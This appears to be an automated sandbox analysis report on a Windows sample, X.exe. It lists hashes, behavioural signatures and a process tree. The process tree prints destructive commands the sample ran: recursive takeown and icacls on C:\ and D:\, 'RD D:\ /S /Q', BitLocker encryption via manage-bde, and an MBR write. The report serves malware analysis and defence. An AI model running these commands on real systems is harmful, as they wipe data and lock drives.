Analysis
-
max time kernel
68s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
27-11-2024 07:08
Behavioral task
behavioral1
Sample
X.exe
Resource
win11-20241007-en
windows11-21h2-x64
9 signatures
150 seconds
General
-
Target
X.exe
-
Size
103KB
-
MD5
d8c74ef17d6366180f58c1334ed40916
-
SHA1
981a19fca200eb1a0c9e29f8e4c5b10edac929d6
-
SHA256
ff4af3193eed8df840e40af9e1974e42d99cf2518e3177478a7d59bf373095ef
-
SHA512
833630d93fc9ca7569b853775f96a745e278dc3501d36485ee6f6ae129bbd9804581980f20e1d722f7e9ee342fe5c2a212a0c9527a474e101e26890009ac56f4
-
SSDEEP
1536:ceIHqfr3GiWoaXq6ooTtlSYO+mmyZWJGUAg11YqGTFsm0imYFU47o9TKui:ceIHqfrooShLXOLwJ+TOFvYFx7oZs
Malware Config
Signatures
-
Possible privilege escalation attempt 4 IoCs
Processes:
icacls.exetakeown.exeicacls.exetakeown.exepid Process 248 icacls.exe 1212 takeown.exe 564 icacls.exe 2168 takeown.exe -
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
-
Modifies file permissions 1 TTPs 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid Process 1212 takeown.exe 564 icacls.exe 2168 takeown.exe 248 icacls.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
takeown.exedescription ioc Process File opened (read-only) \??\D: takeown.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
Processes:
X.exedescription ioc Process File opened for modification \??\PhysicalDrive0 X.exe -
Processes:
resource yara_rule behavioral1/memory/760-0-0x00007FF7AEED0000-0x00007FF7AEF01000-memory.dmp upx behavioral1/memory/760-2-0x00007FF7AEED0000-0x00007FF7AEF01000-memory.dmp upx behavioral1/memory/760-9-0x00007FF7AEED0000-0x00007FF7AEF01000-memory.dmp upx -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
takeown.exedescription pid Process Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe Token: SeTakeOwnershipPrivilege 2168 takeown.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
X.execmd.execmd.execmd.execmd.exedescription pid Process procid_target PID 760 wrote to memory of 5588 760 X.exe 80 PID 760 wrote to memory of 5588 760 X.exe 80 PID 760 wrote to memory of 4820 760 X.exe 82 PID 760 wrote to memory of 4820 760 X.exe 82 PID 4820 wrote to memory of 1212 4820 cmd.exe 83 PID 4820 wrote to memory of 1212 4820 cmd.exe 83 PID 760 wrote to memory of 4052 760 X.exe 84 PID 760 wrote to memory of 4052 760 X.exe 84 PID 4052 wrote to memory of 564 4052 cmd.exe 85 PID 4052 wrote to memory of 564 4052 cmd.exe 85 PID 760 wrote to memory of 2592 760 X.exe 86 PID 760 wrote to memory of 2592 760 X.exe 86 PID 760 wrote to memory of 6136 760 X.exe 87 PID 760 wrote to memory of 6136 760 X.exe 87 PID 6136 wrote to memory of 2168 6136 cmd.exe 88 PID 6136 wrote to memory of 2168 6136 cmd.exe 88 PID 760 wrote to memory of 232 760 X.exe 89 PID 760 wrote to memory of 232 760 X.exe 89 PID 232 wrote to memory of 248 232 cmd.exe 90 PID 232 wrote to memory of 248 232 cmd.exe 90
Processes
-
C:\Users\Admin\AppData\Local\Temp\X.exe"C:\Users\Admin\AppData\Local\Temp\X.exe"1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\SYSTEM32\manage-bde.exemanage-bde -on C: -EncryptionMethod AES-2562⤵PID:5588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c takeown /f D:\ /r /d Y2⤵
- Suspicious use of WriteProcessMemory
PID:4820 -
C:\Windows\system32\takeown.exetakeown /f D:\ /r /d Y3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Enumerates connected drives
PID:1212
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls D:\ /grant Everyone:F /t /c /l2⤵
- Suspicious use of WriteProcessMemory
PID:4052 -
C:\Windows\system32\icacls.exeicacls D:\ /grant Everyone:F /t /c /l3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:564
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c RD D:\ /S /Q2⤵PID:2592
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c takeown /f C:\ /r /d Y2⤵
- Suspicious use of WriteProcessMemory
PID:6136 -
C:\Windows\system32\takeown.exetakeown /f C:\ /r /d Y3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2168
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\ /grant Everyone:F /t /c /l2⤵
- Suspicious use of WriteProcessMemory
PID:232 -
C:\Windows\system32\icacls.exeicacls C:\ /grant Everyone:F /t /c /l3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:248
-
-